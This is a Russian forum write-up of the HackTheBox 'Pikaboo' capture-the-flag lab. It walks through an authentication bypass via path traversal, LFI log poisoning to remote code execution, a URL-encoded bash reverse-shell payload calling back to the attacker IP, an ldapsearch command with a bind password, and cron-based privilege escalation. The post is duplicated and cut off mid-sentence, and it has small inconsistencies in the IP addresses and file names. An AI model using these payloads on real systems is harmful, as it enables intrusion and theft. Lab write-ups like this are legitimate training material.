QuietMoth1
10.03.2022, 04:35
https://forum.antichat.xyz/attachments/29094094/img_dee91f8fe4.png
Приветствую!
Предисловие
Продолжаем проходить лаборатории и CTF с сайта HackTheBox!
В этой лаборатории мы разберём Hard машину Pikaboo, найдём способы эксплуатации LFI до RCE с помощью логов, ну что же, приступим!
Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.10.249
IP адрес основной машины - 10.10.14.60
Начальная разведка и сканирование портов:
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:
nmap -sC -sV 10.10.11.114
https://forum.antichat.xyz/attachments/29094094/1646863604673.png
Из открытых для нас портов мы видим: 21/tcp - FTP, 22/tcp - SSH, 80/tcp - HTTP.
Для начала изучим порт 21 - FTP, попробуем зайти под анонимным логином и паролем...
ftp 10.10.10.249
https://forum.antichat.xyz/attachments/29094094/1646863779292.png
К сожалению анонимный вход на ftp - отключен, тогда перейдем на сайт и посмотрим его содержимое.
https://forum.antichat.xyz/attachments/29094094/1646863832692.png
Здесь мы видим функционал из трёх кнопок: Pokatdex, Contact и Admin.
Перейдем на первую из них и посмотрим что-же там...
https://forum.antichat.xyz/attachments/29094094/1646863967540.png
На этой странице описаны разные существа и их способности, теперь зайду на одного из таких и проверю что передается в параметрах:
https://forum.antichat.xyz/attachments/29094094/1646864045087.png
https://forum.antichat.xyz/attachments/29094094/1646864062935.png
Итак... знаменитый параметр - id и не менее знаменитая sql-инъекция... Попробуем проверить вставив одну кавычку в его параметр.
http://10.10.10.249/pokeapi.php?id=8'
https://forum.antichat.xyz/attachments/29094094/1646864166735.png
Но... ничего не изменилось. Тогда пока что оставим этот псевдо-вектор и перейдем на следующую вкладку -
Contact
https://forum.antichat.xyz/attachments/29094094/1646864237416.png
Отправка отчёта, может тут потенциальная XSS? Для начала отправим любое сообщение и проверим действие данной кнопки.
https://forum.antichat.xyz/attachments/29094094/1646864363670.png
Но опять ничего... Эх, никакой запрос не идёт, тогда осталась последняя вкладка -
Admin
https://forum.antichat.xyz/attachments/29094094/1646864470049.png
Запрашивает имя и пароль, так как у нас ничего не имеется, попробуем подставить
admin:admin
Неправильно! Ну тогда брутим директории... Запустим Dirsearch:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp, aspx -t 50 -u http://10.10.10.249/
https://forum.antichat.xyz/attachments/29094094/1646864625767.png
Dirsearch отдаёт нам кучу ошибок 401, поэтому отфильтруем их с помощью параметра
-x 401
и попробуем ввести команду заново:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp, aspx -t 50 -u http://10.10.10.249/ -x 401
А пока идём копать в эту сторону, будем пытаться обойти авторизацию с помощью
..
- подставим это в наш запрос к админу:
http://10.10.10.249/admin../
\
https://forum.antichat.xyz/attachments/29094094/1646864769459.png
https://forum.antichat.xyz/attachments/29094094/1646864777264.png
Результат Dirsearch конечно нас не порадует, но выдаст информацию про файл - server-status, его то мы и попробуем взять через обход авторизации админа!
http://10.10.10.249/admin../server-status
https://forum.antichat.xyz/attachments/29094094/1646865240274.png
Есть! Мы получили доступ к этому файлу, а значит обошли эту несчастную авторизацию, теперь в запросах к этому сайту видим путь -
/admin_staging
давайте попробуем взять его!
Построим такой запрос:
http://10.10.10.249/admin../admin_staging
Но он ведёт нас на ошибку, поэтому нам нужно подредактировать этот запрос, а именно добавить слеш в конец admin_staging:
http://10.10.10.249/admin../admin_staging/
https://forum.antichat.xyz/attachments/29094094/1646865589015.png
Теперь мы видим перед собой, что-то очень похожее на шаблонизатор, но прежде чем пихать во всё что под глаза попадётся SSTI, попробуем проанализировать диретории на сайте и его функции.
И в первой же вкладке -
User Profile
мы видим интересную ссылку:
http://10.10.10.249/admin../admin_staging/index.php?page=user.php
Чем же интересна эта ссылка? - А тем что она может содержать в себе потенциальную LFI уязвимость!
Теперь перехватив запрос BurpSuite'ом засунем его в Intruder и профаззим его с помощью списка -
Local File Linux
https://forum.antichat.xyz/attachments/29094094/1646866068501.png
Есть! Мы получили файл /var/log/vsftpd.log с логами входа в ftp. И что это нам даёт? - А то, мой дорогой читатель, что мы можем проявить здесь RCE уязвимость!
Как же я хочу это сделать? Всё просто:
1) Войду в ftp с именем
- это даст нам удаленное выполнение php кода.
2) Прочитаю на сайте наш файл - /var/log/vsftfd.log - это исполнит его.
3) И заключительным этапом в этом пути заключается подставление параметра - cmd и выполнение команды через него.
Приступим к реализации нашего плана, заходим в ftp:
ftp ''@10.10.10.249
Далее мы бежим смотреть логи:
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log
И после подставляем наш параметр cmd и выполняем команду для получения Reverse шелла, конечно предварительно включив прослушиватель Netcat:
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=echo+'bash+-i+>%26+/dev/tcp/10.10.14.60/9999+0>%261'+>+/tmp/shel.sh+%26%26+bash+/tmp/shell.sh
https://forum.antichat.xyz/attachments/29094094/1646866866681.png
Есть! Мы получили доступ в систему! Далее нам предстоит поднять свои права в системе.
Получение доступа к пользователю - Pwnmeow:
После получения шелла, посмотрим директорию /home и увидим единственного пользователя - pwnmeow:
https://forum.antichat.xyz/attachments/29094094/1646866989064.png
Зайдем в его директорию и заберём его флаг:
https://forum.antichat.xyz/attachments/29094094/1646867062384.png
Получилось! Одна задача выполнена, но это ещё не конец, поэтому запасёмся терпением и продолжим
Подгрузим с нашего локального сервера Linpeas и проведём первоначальную разведку:
https://forum.antichat.xyz/attachments/29094094/1646867190158.png
Внимательно изучив вывод Linpeas'а мы видим строку запуска скрипта по времени в Crontab.
Давайте прочитаем содержимое этого самого скрипта:
https://forum.antichat.xyz/attachments/29094094/1646867253302.png
Судя по всему, он переходит в директорию /srv/ftp и в каждой папке обновляет csv файлы.
Зайдя в /srv/ftp никакая папка не будет доступна нам для записи, это значит что мы пока что не можем сделать там свой бэкдор...
Тогда остается поискать ещё интересных файлов в системе, так я и пришёл к директории
/opt/pokeapi
в которой лежала директория config, а в ней и настройки - settings.py:
https://forum.antichat.xyz/attachments/29094094/1646867535237.png
Здесь мы видим базы данных, которые находятся в LDAP, а самое интересное что у нас есть учетные данные для перебора этих данных, давайте воспользуемся ldapsearch:
ldapsearch -x -LLL -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w J~42%W?PFHl]g -b 'dc=ftp,dc=pikaboo,dc=htb' -s sub
https://forum.antichat.xyz/attachments/29094094/1646867639128.png
И мы получаем пароль в формате base64 от уже знакомого нам пользователя - pwnmeow.
Давайте расшифруем этот пароль:
echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw=="| base64 -d
https://forum.antichat.xyz/attachments/29094094/1646867735009.png
После получения пароля, давайте войдем с помощью -
su
в аккаунт pwnmeow и убедимся, что этот пароль... неправильный!
https://forum.antichat.xyz/attachments/29094094/1646867813353.png
Повышение привилегий до рута:
Хорошо, но мы всё ещё помним про тот самый скрипт который подгружается с директорией /srv/ftp, давайте попробуем зайти в аккаунт pwnmeow уже на ftp.
https://forum.antichat.xyz/attachments/29094094/1646867941541.png
Успешно! Итак, что у нас по директориям?
https://forum.antichat.xyz/attachments/29094094/1646868186111.png
Держа у себя в голове этот самый скрипт, я полез в гугл за информацией, как же сделать этот самый бэкконнект с помощью csv файла.
А всё оказалось довольно просто:
1) Для начала нам нужно переместить любой файл в одну из директорий, директорией будет выступать - versions, а пустым файлом - payload.
2) Далее загрузив его, нам нужно добавить к нему наш пэйлоад, я выбрал python3 скрипт, а также открыть прослушиватель.
3) С первой попытки может не выйти, поэтому нужно скопировать команду несколько раз.
4) Ждать коннект.
Начнём! Качнем туда файл и сразу же добавим к нему наш пэйлоад:
https://forum.antichat.xyz/attachments/29094094/1646868403509.png
Теперь ждём соединения, предварительно скопировав эту команду ещё пару раз:
https://forum.antichat.xyz/attachments/29094094/1646868447310.png
Есть соединение и есть флаг! Мы - Root!
Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду
Приветствую!
Предисловие
Продолжаем проходить лаборатории и CTF с сайта HackTheBox!
В этой лаборатории мы разберём Hard машину Pikaboo, найдём способы эксплуатации LFI до RCE с помощью логов, ну что же, приступим!
Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.10.249
IP адрес основной машины - 10.10.14.60
Начальная разведка и сканирование портов:
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:
nmap -sC -sV 10.10.11.114
https://forum.antichat.xyz/attachments/29094094/1646863604673.png
Из открытых для нас портов мы видим: 21/tcp - FTP, 22/tcp - SSH, 80/tcp - HTTP.
Для начала изучим порт 21 - FTP, попробуем зайти под анонимным логином и паролем...
ftp 10.10.10.249
https://forum.antichat.xyz/attachments/29094094/1646863779292.png
К сожалению анонимный вход на ftp - отключен, тогда перейдем на сайт и посмотрим его содержимое.
https://forum.antichat.xyz/attachments/29094094/1646863832692.png
Здесь мы видим функционал из трёх кнопок: Pokatdex, Contact и Admin.
Перейдем на первую из них и посмотрим что-же там...
https://forum.antichat.xyz/attachments/29094094/1646863967540.png
На этой странице описаны разные существа и их способности, теперь зайду на одного из таких и проверю что передается в параметрах:
https://forum.antichat.xyz/attachments/29094094/1646864045087.png
https://forum.antichat.xyz/attachments/29094094/1646864062935.png
Итак... знаменитый параметр - id и не менее знаменитая sql-инъекция... Попробуем проверить вставив одну кавычку в его параметр.
http://10.10.10.249/pokeapi.php?id=8'
https://forum.antichat.xyz/attachments/29094094/1646864166735.png
Но... ничего не изменилось. Тогда пока что оставим этот псевдо-вектор и перейдем на следующую вкладку -
Contact
https://forum.antichat.xyz/attachments/29094094/1646864237416.png
Отправка отчёта, может тут потенциальная XSS? Для начала отправим любое сообщение и проверим действие данной кнопки.
https://forum.antichat.xyz/attachments/29094094/1646864363670.png
Но опять ничего... Эх, никакой запрос не идёт, тогда осталась последняя вкладка -
Admin
https://forum.antichat.xyz/attachments/29094094/1646864470049.png
Запрашивает имя и пароль, так как у нас ничего не имеется, попробуем подставить
admin:admin
Неправильно! Ну тогда брутим директории... Запустим Dirsearch:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp, aspx -t 50 -u http://10.10.10.249/
https://forum.antichat.xyz/attachments/29094094/1646864625767.png
Dirsearch отдаёт нам кучу ошибок 401, поэтому отфильтруем их с помощью параметра
-x 401
и попробуем ввести команду заново:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp, aspx -t 50 -u http://10.10.10.249/ -x 401
А пока идём копать в эту сторону, будем пытаться обойти авторизацию с помощью
..
- подставим это в наш запрос к админу:
http://10.10.10.249/admin../
\
https://forum.antichat.xyz/attachments/29094094/1646864769459.png
https://forum.antichat.xyz/attachments/29094094/1646864777264.png
Результат Dirsearch конечно нас не порадует, но выдаст информацию про файл - server-status, его то мы и попробуем взять через обход авторизации админа!
http://10.10.10.249/admin../server-status
https://forum.antichat.xyz/attachments/29094094/1646865240274.png
Есть! Мы получили доступ к этому файлу, а значит обошли эту несчастную авторизацию, теперь в запросах к этому сайту видим путь -
/admin_staging
давайте попробуем взять его!
Построим такой запрос:
http://10.10.10.249/admin../admin_staging
Но он ведёт нас на ошибку, поэтому нам нужно подредактировать этот запрос, а именно добавить слеш в конец admin_staging:
http://10.10.10.249/admin../admin_staging/
https://forum.antichat.xyz/attachments/29094094/1646865589015.png
Теперь мы видим перед собой, что-то очень похожее на шаблонизатор, но прежде чем пихать во всё что под глаза попадётся SSTI, попробуем проанализировать диретории на сайте и его функции.
И в первой же вкладке -
User Profile
мы видим интересную ссылку:
http://10.10.10.249/admin../admin_staging/index.php?page=user.php
Чем же интересна эта ссылка? - А тем что она может содержать в себе потенциальную LFI уязвимость!
Теперь перехватив запрос BurpSuite'ом засунем его в Intruder и профаззим его с помощью списка -
Local File Linux
https://forum.antichat.xyz/attachments/29094094/1646866068501.png
Есть! Мы получили файл /var/log/vsftpd.log с логами входа в ftp. И что это нам даёт? - А то, мой дорогой читатель, что мы можем проявить здесь RCE уязвимость!
Как же я хочу это сделать? Всё просто:
1) Войду в ftp с именем
- это даст нам удаленное выполнение php кода.
2) Прочитаю на сайте наш файл - /var/log/vsftfd.log - это исполнит его.
3) И заключительным этапом в этом пути заключается подставление параметра - cmd и выполнение команды через него.
Приступим к реализации нашего плана, заходим в ftp:
ftp ''@10.10.10.249
Далее мы бежим смотреть логи:
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log
И после подставляем наш параметр cmd и выполняем команду для получения Reverse шелла, конечно предварительно включив прослушиватель Netcat:
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=echo+'bash+-i+>%26+/dev/tcp/10.10.14.60/9999+0>%261'+>+/tmp/shel.sh+%26%26+bash+/tmp/shell.sh
https://forum.antichat.xyz/attachments/29094094/1646866866681.png
Есть! Мы получили доступ в систему! Далее нам предстоит поднять свои права в системе.
Получение доступа к пользователю - Pwnmeow:
После получения шелла, посмотрим директорию /home и увидим единственного пользователя - pwnmeow:
https://forum.antichat.xyz/attachments/29094094/1646866989064.png
Зайдем в его директорию и заберём его флаг:
https://forum.antichat.xyz/attachments/29094094/1646867062384.png
Получилось! Одна задача выполнена, но это ещё не конец, поэтому запасёмся терпением и продолжим
Подгрузим с нашего локального сервера Linpeas и проведём первоначальную разведку:
https://forum.antichat.xyz/attachments/29094094/1646867190158.png
Внимательно изучив вывод Linpeas'а мы видим строку запуска скрипта по времени в Crontab.
Давайте прочитаем содержимое этого самого скрипта:
https://forum.antichat.xyz/attachments/29094094/1646867253302.png
Судя по всему, он переходит в директорию /srv/ftp и в каждой папке обновляет csv файлы.
Зайдя в /srv/ftp никакая папка не будет доступна нам для записи, это значит что мы пока что не можем сделать там свой бэкдор...
Тогда остается поискать ещё интересных файлов в системе, так я и пришёл к директории
/opt/pokeapi
в которой лежала директория config, а в ней и настройки - settings.py:
https://forum.antichat.xyz/attachments/29094094/1646867535237.png
Здесь мы видим базы данных, которые находятся в LDAP, а самое интересное что у нас есть учетные данные для перебора этих данных, давайте воспользуемся ldapsearch:
ldapsearch -x -LLL -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w J~42%W?PFHl]g -b 'dc=ftp,dc=pikaboo,dc=htb' -s sub
https://forum.antichat.xyz/attachments/29094094/1646867639128.png
И мы получаем пароль в формате base64 от уже знакомого нам пользователя - pwnmeow.
Давайте расшифруем этот пароль:
echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw=="| base64 -d
https://forum.antichat.xyz/attachments/29094094/1646867735009.png
После получения пароля, давайте войдем с помощью -
su
в аккаунт pwnmeow и убедимся, что этот пароль... неправильный!
https://forum.antichat.xyz/attachments/29094094/1646867813353.png
Повышение привилегий до рута:
Хорошо, но мы всё ещё помним про тот самый скрипт который подгружается с директорией /srv/ftp, давайте попробуем зайти в аккаунт pwnmeow уже на ftp.
https://forum.antichat.xyz/attachments/29094094/1646867941541.png
Успешно! Итак, что у нас по директориям?
https://forum.antichat.xyz/attachments/29094094/1646868186111.png
Держа у себя в голове этот самый скрипт, я полез в гугл за информацией, как же сделать этот самый бэкконнект с помощью csv файла.
А всё оказалось довольно просто:
1) Для начала нам нужно переместить любой файл в одну из директорий, директорией будет выступать - versions, а пустым файлом - payload.
2) Далее загрузив его, нам нужно добавить к нему наш пэйлоад, я выбрал python3 скрипт, а также открыть прослушиватель.
3) С первой попытки может не выйти, поэтому нужно скопировать команду несколько раз.
4) Ждать коннект.
Начнём! Качнем туда файл и сразу же добавим к нему наш пэйлоад:
https://forum.antichat.xyz/attachments/29094094/1646868403509.png
Теперь ждём соединения, предварительно скопировав эту команду ещё пару раз:
https://forum.antichat.xyz/attachments/29094094/1646868447310.png
Есть соединение и есть флаг! Мы - Root!
Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду